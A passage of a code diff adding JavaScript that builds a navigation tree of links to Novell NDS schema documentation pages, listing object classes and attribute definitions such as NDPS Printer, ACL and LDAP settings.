+ var navElement = navigationLink("NDPS Manager ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk307.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NDPS Printer ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk315.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NDSCat:Catalog ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk323.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NDSCat:Master Catalog ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk331.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NDSCat:Slave Catalog ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk339.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NetSvc ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk379.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NLS:License Certificate ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk386.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NLS:License Server ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk394.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NLS:Product Container ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk412.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NSCP:groupOfUniqueNames5 ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk432.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NSCP:mailGroup5 ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk454.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NSCP:Nginfo ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk491.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NSCP:Nginfo2 ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk502.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("residentialPerson ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/a3omhcl.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("SLP Scope Unit ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk666.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("SLP Directory Agent ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk674.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("SLP Service ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk682.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("SMS SMDR Class ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk690.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ if (currentLevel > 1) currentLevel--
+
+ setLevels();
+ var navElement = navigationLink("Graphical View of Object Class Inheritance ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/hzah4ydk.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ currentLevel++;
+
+ setLevels();
+ var navElement = navigationLink("Alias and Bindery Object Classes ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/hw8hr9jx.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Tree Root, domain, and Unknown ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/hu1mitlx.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Computer, Country, Device, and Printer ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/hnf7uif9.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("List and Locality ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/h48ynbap.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Organizational Role and Partition ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/hrfg9w4e.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("ndsLoginProperties, Organization, and Organizational Unit ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/hzvb48kg.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("ndsLoginProperties, Person, Organizational Person, and User ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/hknzjmiv.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Directory Map, Profile, Queues, Resource, and Volume ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/h8jovuwl.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Servers (AFP, Messaging, NCP, Print) and CommExec ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/ha47y85g.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("External Entity, Group, and Message Routing Group ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/hds3w6ie.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ if (currentLevel > 1) currentLevel--
+
+ setLevels();
+ var navElement = navigationLink("Base Attribute Definitions ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/hf9qbbni.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ currentLevel++;
+
+ setLevels();
+ var navElement = navigationLink("Aliased Object Name ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk782.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Account Balance ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk788.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("ACL ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk794.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Allow Unlimited Credit ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk800.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("associatedName ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/a7bbra4.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("attributeCertificate ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk806.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Audit:A Encryption Key ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk812.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Audit:B Encryption Key ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk818.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Audit:Contents ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk824.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Audit:Current Encryption Key ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk830.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Audit:File Link ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk836.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Audit:Link List ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk842.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Audit:Path ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk848.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Audit:Policy ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk854.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Audit:Type ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk860.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("authorityRevocationList ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk866.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Authority Revocation ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk872.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("AuxClass Object Class Backup ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk878.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Auxiliary Class Flag ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk884.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Back Link ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk890.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Bindery Object Restriction ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk896.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Bindery Property ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk902.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Bindery Restriction Level ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk908.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Bindery Type ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk914.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("businessCategory ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk920.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink(" ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk932.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("cACertificate ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk938.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("CA Private Key ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk944.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("CA Public Key ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk950.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Cartridge ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk956.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("certificateRevocationList ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk962.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Certificate Revocation ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk968.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Certificate Validity Interval ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk974.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("crossCertificatePair ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk926.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink(" ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk986.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Convergence ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk998.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Cross Certificate Pair ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1004.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("dc ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1034.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Default Queue ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1040.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("deltaRevocationList ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1052.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("departmentNumber ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/a3on5am.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Description ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1058.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("destinationIndicator ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1064.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Detect Intruder ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1070.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Device ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1076.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("dmdName ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1082.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("dn ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1088.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("dnQualifier ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1094.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("DS Revision ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1100.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("EMail Address ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1106.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("employeeType ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/a3on9iy.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("enhancedSearchGuide ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1120.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Equivalent To Me ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1138.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("External Name ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1144.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("External Synchronizer ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1150.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Facsimile Telephone Number ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1156.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Full Name ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1162.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Generational Qualifier ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1168.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("generationQualifier ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1174.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink(" ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1180.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Given Name ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1186.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink(" ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1192.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("GUID ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1198.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("High Convergence Sync Interval ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1216.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Higher Privileges ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1222.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Home Directory ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1228.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Home Directory Rights ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1234.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("homePhone ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/a3onbgn.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("homePostalAddress ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/a3ondem.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("houseIdentifier ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1258.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Host Device ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1240.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Host Resource Name ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1246.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Host Server ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1252.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Inherited ACL ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1264.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Initials ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1270.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("internationaliSDNNumber ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1276.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Internet EMail Address ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1282.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Intruder Attempt Reset Interval ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1288.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Intruder Lockout Reset Interval ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1294.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("knowledgeInformation ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1312.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink(" ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1318.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Language ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1324.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Last Login Time ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1330.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Last Referenced Time ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1336.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("LDAP ACL v11 ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1342.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("LDAP Allow Clear Text Password ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1348.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("LDAP Anonymous Identity ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1354.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
